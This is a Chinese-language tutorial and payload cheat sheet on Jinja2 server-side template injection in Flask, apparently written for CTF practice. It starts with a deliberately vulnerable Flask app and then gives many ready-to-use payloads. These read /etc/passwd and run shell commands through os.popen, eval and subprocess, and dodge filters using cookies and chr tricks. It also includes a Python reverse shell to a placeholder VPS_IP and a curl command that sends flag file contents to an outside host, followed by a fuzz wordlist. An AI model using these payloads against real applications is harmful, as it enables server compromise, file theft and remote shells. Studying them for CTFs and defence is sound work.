模板注入不止与python,其官方存在与各类存在模板引擎的语言中,java,php,js,都有,这里为了方便使用python学习
from flask import Flask
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
template = '''
<p>Hello %s </p>''' % (request.args.get('name'))
return render_template_string(template)
if __name__ == '__main__':
app.run()
flask框架使用的是jinja2模板引擎
关键在于
<p>Hello %s </p>''' % (request.args.get('name'))
将输入直接插入了显示,而jinja2会在插入的时候将{{}}中的内容作为变量解析
利用前置知识点
- 对象
- python中一切都是对象,创建列表、字符、字典、时候都是在创建对象
- 继承
- 对象的类是实例,类是对象的模板,创建对象其实是创建了一个类的实例,python中所有类继承与一个基类,通过创建一个对象反向查找他的类以及他的父类,这样就能从任意对象回到基类,在从此往下查找
- 魔术方法
- 通过魔术方法能做到对类的操控,从而完成命令执行或文件读取之类的操作
注入流程
拿基类->找子类->构造命令->拿flag
魔术方法备忘
基类
通过mro魔术方法拿到基类
{{request.__class__.__mro__[-1]}}

调用到基类
查找子类
当调用到基类,我们就可以尝试使用__subclasses__()查找子类
{{request.__class__.__mro__[-1].__subclasses__()}}

子类的数量非常多,如何定位后面再说,这里先利用<class 'warnings.catch_warnings'>这个子类,定位,初始化,获取方法合集
{{request.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__}}

定位到命令执行函数,因为eval是一个内置函数,也就是built-in function,所以没办法直接通过.__globals__[eval]来调用,根据helloctf的信息
Python 的内置函数也就是和对象通常是全局可用的,但它们通常不是函数内部的一部分。
所以需要通过__builtins__来访问

__builtins__['eval']("__import__('os').popen('id').read()")
这样完成了一个命令执行

文件读取
依此类推,可以使用eval导入文件读取包,实现文件读取例如:
{{request.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__.__builtins__['eval']("__import__('io').open('/etc/passwd').read()")}}
或者我还找到可以使用子类_frozen_importlib_external.FileLoader下的get_data函数
{{request.__class__.__mro__[-1].__subclasses__()[118]["get_data"](0, "/etc/passwd")}}
warnings.catch_warnings
{{request.__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}
subprocess.Popen
{{ ''.__class__.__base__.__subclasses__()[X]('id', shell=True, stdout=-1).communicate()[0] }}
_frozen_importlib_external.FileLoader
{{request.__class__.__mro__[-1].__subclasses__()[x]["get_data"](0, "/etc/passwd")}}
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read()}}
常见过滤
下划线,引号
使用request绕过
{{()[request.cookies.class][request.cookies.bases][0][request.cookies.subclasses]()}}
可以将payload传入cookies
{{()[request.cookies.class][request.cookies.bases][0][request.cookies.subclasses]()}}
假设要执行
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read()}}
按照以上逻辑可拆分为
{{ config[request.cookies.class][request.cookies.init][request.cookies.globals][request.cookies.so].popen(request.cookies.cmd).read()}}
class=__class__;init=__init__;globals=__globals__;so=os;cmd=ls /
rce备忘
# 命令执行_eval
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endfor %}
# 命令执行_os.py
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'os' in x.__init__.__globals__ %}
{{ x.__init__.__globals__['os'].popen('ls /').read() }}
{% endif %}
{% endfor %}
# 命令执行_popen
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'popen' in x.__init__.__globals__ %}
{{ x.__init__.__globals__['popen']('ls /').read() }}
{% endif %}
{% endfor %}
# 命令执行__frozen_importlib.BuiltinImporter
{% for x in [].__class__.__base__.__subclasses__() %}
{% if 'BuiltinImporter' in x.__name__ %}
{{ x["load_module"]("os")["popen"]("ls /").read() }}
{% endif %}
{% endfor %}
# 命令执行_linecache
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'linecache' in x.__init__.__globals__ %}
{{ x.__init__.__globals__['linecache']['os'].popen('ls /').read() }}
{% endif %}
{% endfor %}
# 命令执行_exec(无回显故反弹shell)
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'exec' in x.__init__.__globals__['__builtins__']['exec'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("HOST_IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}
{% endif %}
{% endfor %}
{{().__class__.__bases__[0].__subclasses__()[216].__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPS_IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}
# 命令执行_catch_warnings
{% for x in [].__class__.__base__.__subclasses__() %}{% if 'war' in x.__name__ %}{{ x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
# catch_warnings 读取文件
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__'].open('/app/flag', 'r').read() }}{% endif %}{% endfor %}
# _frozen_importlib_external.FileLoader 读取文件
{% for x in [].__class__.__base__.__subclasses__() %} # {% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'FileLoader' in x.__name__ %}
{{ x["get_data"](0,"/etc/passwd")}}
{% endif %}
{% endfor %}
# 其他RCE
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{url_for.__globals__.current_app.add_url_rule('/1333337',view_func=url_for.__globals__.__builtins__['__import__']('os').popen('ls').read)}}
信息备忘
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类(除object),以元组形式,类型的实例通常没有属性。 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的所有子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以调用当前脚本中的函数,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
self.__dict__ 保存当前类实例或对象实例的属性变量键值对字典,
{%print("DMIND")%} 控制语句中也能输出
拼接字符:{% set ind=dict(ind=a,ex=a)|join%} 变量ind=index
获取字符:{{lipsum|string|list|attr('pop')(18)}} 相当于:lipsum|string|list|attr('pop')(18) 输出:_(下划线)
得到数字:{{lipsum|string|list|attr('index')('g')}} 相当于lipsum|string|list|attr('index')('g') 输出:10
运算出其他数字:{% set shiba=ten%2bten-two %} %2b是URL编码后的加号
得到数字:{{dict(a=a)|lower|list|count}}得到16
运算出其他数字:{{dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count}}得到1
得到任意字符:{{dict(dmind=a)|slice(1)|first|first}}得到dmind
获取__builtins__属性:{{lipsum.__globals__|attr('get')('__builtins__')}} 利用get()、pop()获取属性,相当于lipsum.__globals__.get('__builtins__')
lipsum.__globals__.__builtins__ 相当于 lipsum|attr('__globals__')|attr('get')('__builtins__')
lipsum.__globals__.__builtins__.chr(95) 相当于 lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('chr')(95)
得到chr函数:{%set chr=lipsum.__globals__.__builtins__.chr%}
利用chr()得到字符:{{chr(47)~chr(32)}} 47是/ 32是空格 ~是连接符
利用os执行命令:lipsum.__globals__.os.popen('dir').read() 相当于 lipsum|attr('__globals__')|attr('get')('os')|attr('popen')('dir')|attr('read')()
类似的 url_for['__globals__']['os']['popen']('dir').read()
简单的读取文件:url_for["__globa"+"ls__"].__builtins__.open("flag.txt").read()
在能执行eval情况下:eval(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))
fuzz字典
content,hit_count
{
}
"
'
_
(
)
.
=
+
-
*
/
//
%
>
<
>=
<=
==
!=
;
\n
\r
\t
,
config
g.pop
url_for
lipsum
get_flashed_messages
application
self
cycler
joiner
namespace
eval
exec
compile
input
getattr
setattr
globals
locals
open
os
system
subprocess
popen
__class__
__dict__
__getattr__
__setattr__
__globals__
__builtins__
__subclasses__
__mro__
__call__
__init__
import
__import__
from
as
sys
socket
.get()
.setdefault()
.items()
.keys()
.values()
[]
#
{% %}
{{ }}
1
2
3
4
5
6
7
8
9
0
request
args
key
data
json
form
values
cookies
headers